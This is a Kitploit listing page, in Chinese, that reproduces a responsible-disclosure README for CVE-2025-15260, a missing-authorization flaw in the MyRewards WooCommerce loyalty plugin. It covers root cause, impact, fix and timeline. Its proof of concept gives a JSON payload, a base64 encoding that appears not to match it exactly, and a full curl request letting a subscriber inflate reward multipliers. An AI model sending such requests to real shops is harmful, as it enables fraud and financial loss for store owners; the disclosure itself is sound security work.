Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-15260 — 插件中的缺失授权/访问控制漏洞 - MyRewards – WooCommerce 的忠诚积分和奖励 | Kitploit
工具/GitHubGitHub/d3kc4rt1/cve-2025-15260
权限提升漏洞分析Web应用程序漏洞利用渗透测试论文与研究学习与教育
GitHubd3kc4rt1/cve-2025-15260

CVE-2025-15260

插件中的缺失授权/访问控制漏洞 - MyRewards – WooCommerce 的忠诚积分和奖励

查看仓库
15个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-15260:插件 MyRewards – WooCommerce 忠诚度积分与奖励中的授权缺失/访问控制失效

免责声明: 本仓库仅用于教育目的及负责任的披露。该漏洞已向厂商报告并获得修复。请勿利用此信息在未经授权的情况下攻击系统。

摘要

在 WooCommerce 的 MyRewards(WooRewards) 插件(版本 <= 5.6.0)中发现了一个严重的访问控制失效/权限提升漏洞。该漏洞允许任何已登录用户,即使是权限最低的订阅者,也能绕过授权并修改敏感商店奖励规则。

利用此漏洞,攻击者可将其忠诚度积分倍数膨胀至天文数字(例如 h999,999,999),从而通过单次小额购物积累海量积分,并兑换优惠券或免费商品,直接导致商店经济损失。

漏洞概述

  • CVE ID: CVE-2025-15260
  • 产品: LongwayStudio 开发的 MyRewards(WooCommerce 插件)
  • 受影响版本: <= 5.6.0
  • 漏洞类型: 访问控制失效/权限提升(CWE-284)
  • 所需权限: 已认证(订阅者或更高层级)

技术深度剖析与根本原因

该漏洞的根本原因在于,处理数据库修改的关键 AJAX 端点未能实现能力检查或 CSRF 保护。

1. 未授权 AJAX 注册: 插件使用一个通用控制器类(EditlistControler)管理 CRUD 操作。在 editlistcontroler.php 中,它通过 gwp_ajax_ 钩子注册了 AJAX 动作 editlist,使其对所有已登录用户可用,无论其角色如何:

root@kitploit:~
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));

2. 缺乏授权及 Nonce 验证: 在 ajax() 和 accept() 方法中,代码仅根据用户输入处理状态更改请求(例如 put 用于更新,del 用于删除)。它完全缺失了对 current_user_can() 和 check_ajax_referer() 的调用,意味着没有验证用户是否拥有 manage_woocommerce 权限。

3. 危险的有效载荷处理: 端点通过 line 参数接受 base64 编码的 JSON 字符串,解码后直接传递给 EventList::write() 方法,将恶意设置保存到数据库:

root@kitploit:~
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);

业务影响

  • 经济损失: 通过操纵“订单金额”积分倍数,攻击者可生成无限奖励积分,并将其兑换为高价值折扣券或免费商品,绕过电商支付网关。
  • 权限提升: 普通客户(订阅者)可执行插件管理操作。
  • 数据完整性受损: 攻击者可篡改、修改或删除现有合法奖励规则,破坏商店的营销逻辑。

概念验证(PoC)

以下步骤演示了已认证的订阅者如何利用此漏洞。

1. 前提条件

  • 目标运行 WooCommerce 且已安装 MyRewards v5.6.0。
  • 拥有 subscriber 级别账号的有效凭证。
  • 预先配置的奖励系统(例如“消费金额”赚取规则)。注意:此规则的 ID(例如 101)是顺序生成的,可通过观察 AJAX 响应轻松枚举。

2. 有效载荷

我们希望将规则 ID 101 的积分倍数更新为 999,999,999,999,999。

初始 JSON

root@kitploit:~
{
  "post_id":"101",
  "wre_type":"lws_woorewards_events_orderamount",
  "lws_woorewards_events_orderamount_multiplier": "999999999999999"
}

Base64 编码(作为 'line' 参数的值)

root@kitploit:~
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0

3. 执行攻击

以低权限用户身份运行以下 CURL 请求:

root@kitploit:~
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
    -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
    -b '[Subscriber_Cookies_Here]' \
    -d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'

4. 验证

  • 攻击者视角: 服务器返回 {"status":1} 确认更新成功。
  • 管理员视角: 管理员访问忠诚度设置页面时,将看到订单积分倍数已被改为攻击者注入的天文数字。

修复方案

要修复此问题,请将 MyRewards 插件更新至最新修补版本。厂商通过以下方式解决了漏洞:

  1. 在 AJAX 控制器中实现 current_user_can() 检查,以验证管理员权限。
  2. 添加 check_ajax_referer() 以验证 nonce 并防止跨站请求伪造(CSRF)。

时间线

以下披露过程简表,以证明遵循了道德标准:

  • 日期(2025-12-29): 向 Wordfence / 开发商报告。
  • 日期(2026-02-09): 漏洞修复 / 公开披露。

参考资料与致谢

  • Wordfence 漏洞数据库
  • NVD 上的 CVE-2025-15260
  • WordPress.org 上的 MyRewards 插件
下载工具